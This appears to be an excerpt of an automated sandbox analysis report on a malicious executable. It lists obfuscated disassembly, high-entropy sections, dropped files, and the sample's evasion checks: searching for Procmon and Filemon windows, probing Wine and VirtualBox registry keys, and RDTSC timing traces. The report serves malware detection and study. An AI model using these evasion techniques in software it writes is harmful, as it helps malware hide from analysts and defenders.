Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push ebp; mov dword ptr [esp], ecx		0_2_0099623F
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 7B193AF3h; mov dword ptr [esp], edx		0_2_0099626E
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 7D0A78D4h; mov dword ptr [esp], eax		0_2_00996276
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push edi; mov dword ptr [esp], 3EF27CF6h		0_2_0099627F
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 3D4F0EC3h; mov dword ptr [esp], ebx		0_2_009962A3
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push esi; mov dword ptr [esp], ecx		0_2_009962FC
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 0CB51619h; mov dword ptr [esp], ecx		0_2_00996391
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 5219BC5Eh; mov dword ptr [esp], edi		0_2_009963A9
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 0EB0723Eh; mov dword ptr [esp], ecx		0_2_00996414
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push ecx; mov dword ptr [esp], edi		0_2_00996440
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 32C01D6Ah; mov dword ptr [esp], ebp		0_2_00996448
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 57C1BFA0h; mov dword ptr [esp], ecx		0_2_0099656D
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 45F335D1h; mov dword ptr [esp], ebx		0_2_009965DF
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 12267BD9h; mov dword ptr [esp], eax		0_2_0099661D
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 7D92C803h; mov dword ptr [esp], eax		0_2_00996693
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push eax; mov dword ptr [esp], esi		0_2_00996778
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push ecx; mov dword ptr [esp], eax		0_2_009967C5
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push edi; mov dword ptr [esp], 4C6AE71Ch		0_2_00996826
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push eax; mov dword ptr [esp], ecx		0_2_009968A9
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 00726B91h; mov dword ptr [esp], ebx		0_2_009968D2
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push eax; mov dword ptr [esp], 13E69211h		0_2_009968D7
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 432C3B47h; mov dword ptr [esp], ebx		0_2_009969A8
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push ecx; mov dword ptr [esp], esi		0_2_009969B6

Source: dI3n4LSHB7.exe	Static PE information: section name: ghfuhyhn entropy: 7.948515761931662
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File created: C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File created: C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 81CA88 second address: 81CA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 81CA94 second address: 81CA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 81CA9A second address: 81CA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99D875 second address: 99D8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF4C0C3E16Ch 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007FF4C0C3E166h 0x00000011 popad 0x00000012 jng 00007FF4C0C3E16Eh 0x00000018 pushad 0x00000019 popad 0x0000001a jnc 00007FF4C0C3E166h 0x00000020 jnl 00007FF4C0C3E172h 0x00000026 je 00007FF4C0C3E16Eh 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99CD2C second address: 99CD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FF4C0501596h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99CD3B second address: 99CD41 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99CD41 second address: 99CD65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007FF4C05015A9h 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99CFF5 second address: 99CFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99CFF9 second address: 99D012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007FF4C0501596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF4C050159Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99F87A second address: 99F946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007FF4C0C3E170h 0x00000011 mov cl, 1Eh 0x00000013 pop esi 0x00000014 push 00000000h 0x00000016 call 00007FF4C0C3E16Bh 0x0000001b mov dword ptr [ebp+122D1861h], esi 0x00000021 pop edx 0x00000022 push 934F3E1Bh 0x00000027 jg 00007FF4C0C3E17Ch 0x0000002d add dword ptr [esp], 6CB0C265h 0x00000034 push 00000003h 0x00000036 push edx 0x00000037 mov ecx, dword ptr [ebp+122D3773h] 0x0000003d pop edi 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D1919h], esi 0x00000046 push 00000003h 0x00000048 sub edi, 3433ED28h 0x0000004e push 55DD7160h 0x00000053 jmp 00007FF4C0C3E16Eh 0x00000058 add dword ptr [esp], 6A228EA0h 0x0000005f jmp 00007FF4C0C3E170h 0x00000064 lea ebx, dword ptr [ebp+1245671Ah] 0x0000006a pushad 0x0000006b mov edx, dword ptr [ebp+122D37E3h] 0x00000071 mov edi, ecx 0x00000073 popad 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007FF4C0C3E16Fh 0x0000007c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FA08 second address: 99FA8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF4C05015A3h 0x0000000b popad 0x0000000c xor dword ptr [esp], 7B3E6F54h 0x00000013 push ebx 0x00000014 mov ecx, dword ptr [ebp+122D37CFh] 0x0000001a pop edi 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FF4C0501598h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 push 00000000h 0x00000039 xor dword ptr [ebp+122D22B3h], edx 0x0000003f push 00000003h 0x00000041 jmp 00007FF4C05015A8h 0x00000046 push 828363E1h 0x0000004b push eax 0x0000004c push edx 0x0000004d jg 00007FF4C050159Ch 0x00000053 jp 00007FF4C0501596h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FA8C second address: 99FA92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FA92 second address: 99FA96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FA96 second address: 99FAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 3D7C9C1Fh 0x0000000f jg 00007FF4C0C3E167h 0x00000015 stc 0x00000016 lea ebx, dword ptr [ebp+12456723h] 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007FF4C0C3E168h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 sub si, 25AFh 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FF4C0C3E175h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FAED second address: 99FAF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FAF3 second address: 99FAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FB54 second address: 99FB8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 ja 00007FF4C0501598h 0x0000000e jmp 00007FF4C05015A0h 0x00000013 popad 0x00000014 nop 0x00000015 push 00000000h 0x00000017 mov ecx, dword ptr [ebp+122D37CBh] 0x0000001d call 00007FF4C0501599h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FB8C second address: 99FB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FB90 second address: 99FB9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FB9B second address: 99FBCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FF4C0C3E173h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FF4C0C3E16Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FBCC second address: 99FBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FBD1 second address: 99FC79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push edx 0x0000000d jmp 00007FF4C0C3E171h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jmp 00007FF4C0C3E16Ah 0x0000001c pop eax 0x0000001d jmp 00007FF4C0C3E16Bh 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 movzx esi, ax 0x00000029 jmp 00007FF4C0C3E16Bh 0x0000002e push 00000003h 0x00000030 movzx edi, dx 0x00000033 call 00007FF4C0C3E169h 0x00000038 jmp 00007FF4C0C3E178h 0x0000003d push eax 0x0000003e jnl 00007FF4C0C3E180h 0x00000044 mov eax, dword ptr [esp+04h] 0x00000048 jmp 00007FF4C0C3E16Bh 0x0000004d mov eax, dword ptr [eax] 0x0000004f push ecx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 pop eax 0x00000054 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 99FC79 second address: 99FC7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BEDDF second address: 9BEDED instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF4C0C3E166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BF1FE second address: 9BF208 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF4C050159Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BF58F second address: 9BF593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BF593 second address: 9BF5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF4C050159Fh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BF5AB second address: 9BF5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BF909 second address: 9BF90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BF90D second address: 9BF911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BF911 second address: 9BF919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BFD24 second address: 9BFD28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9BFD28 second address: 9BFD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF4C05015A4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9B51F7 second address: 9B51FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9B51FD second address: 9B5204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C0681 second address: 9C0685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C0685 second address: 9C068B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C068B second address: 9C06C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Eh 0x00000007 jmp 00007FF4C0C3E172h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF4C0C3E170h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C06C1 second address: 9C06C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C4D7E second address: 9C4D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C5450 second address: 9C5471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FF4C05015C4h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF4C05015A1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C65B4 second address: 9C65B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C65B8 second address: 9C65D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C87A8 second address: 9C87AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C87AC second address: 9C87B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 9C87B0 second address: 9C87B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
